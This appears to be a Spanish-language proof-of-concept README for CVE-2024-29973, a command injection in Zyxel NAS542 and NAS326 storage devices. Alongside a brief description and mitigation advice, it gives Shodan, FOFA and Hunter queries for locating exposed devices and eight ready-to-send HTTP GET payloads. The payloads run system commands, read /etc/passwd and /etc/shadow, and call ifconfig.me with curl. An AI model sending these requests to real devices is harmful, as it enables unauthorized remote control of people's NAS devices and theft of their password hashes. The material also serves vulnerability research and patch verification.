aerchy/cve-2024-29973Prueba de concepto del exploit para CVE-2024-29973, una inyección remota de comandos en dispositivos NAS de Zyxel, que demuestra la ejecución arbitraria de comandos mediante solicitudes HTTP manipuladas.
CVE-2024-29973 es una vulnerabilidad crítica encontrada en ciertos dispositivos de red Zyxel. Esta vulnerabilidad permite a un atacante no autenticado ejecutar comandos arbitrarios en el dispositivo objetivo explotando mecanismos de validación de entrada inadecuados en el firmware. Los atacantes pueden enviar solicitudes HTTP especialmente diseñadas al dispositivo, inyectando comandos a nivel de sistema y potencialmente obteniendo control total sobre el dispositivo.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Inyección de Comandos: La vulnerabilidad surge debido a una sanitización de entrada insuficiente en una de las interfaces web del dispositivo. Esta falla permite a los atacantes añadir comandos del sistema operativo dentro de los parámetros de las solicitudes HTTP.
Ejemplo de Explotación: Los atacantes pueden inyectar comandos a través de una solicitud HTTP GET, como la siguiente, para ejecutar código arbitrario:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Impacto: Una explotación exitosa resulta en la capacidad de ejecutar comandos del sistema, lo que potencialmente conduce al control remoto del dispositivo, fuga de datos o un mayor compromiso de la red.
Para mitigar los riesgos asociados con esta vulnerabilidad, siga estos pasos:
Actualización de Firmware: Asegúrese de que todos los dispositivos Zyxel estén actualizados a la última versión de firmware. Zyxel ha publicado parches que abordan esta vulnerabilidad. Verifique regularmente las actualizaciones y aplíquelas de inmediato.
Segmentación de Red: Aísle los dispositivos vulnerables de la infraestructura de red crítica. Solo exponga los servicios necesarios y asegúrese de que las interfaces administrativas no sean accesibles públicamente.
Configuración del Firewall: Restrinja el tráfico entrante y saliente solo a los servicios esenciales. Bloquee el acceso HTTP innecesario a los dispositivos Zyxel.
Monitoreo de Actividad Sospechosa: Implemente herramientas de registro y monitoreo que puedan detectar y alertar sobre comportamientos inusuales, como intentos de inicio de sesión repetidos o patrones de tráfico anormales.
Referencias Base de Datos Nacional de Vulnerabilidades - CVE-2024-29973 Aviso de Seguridad de Zyxel
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1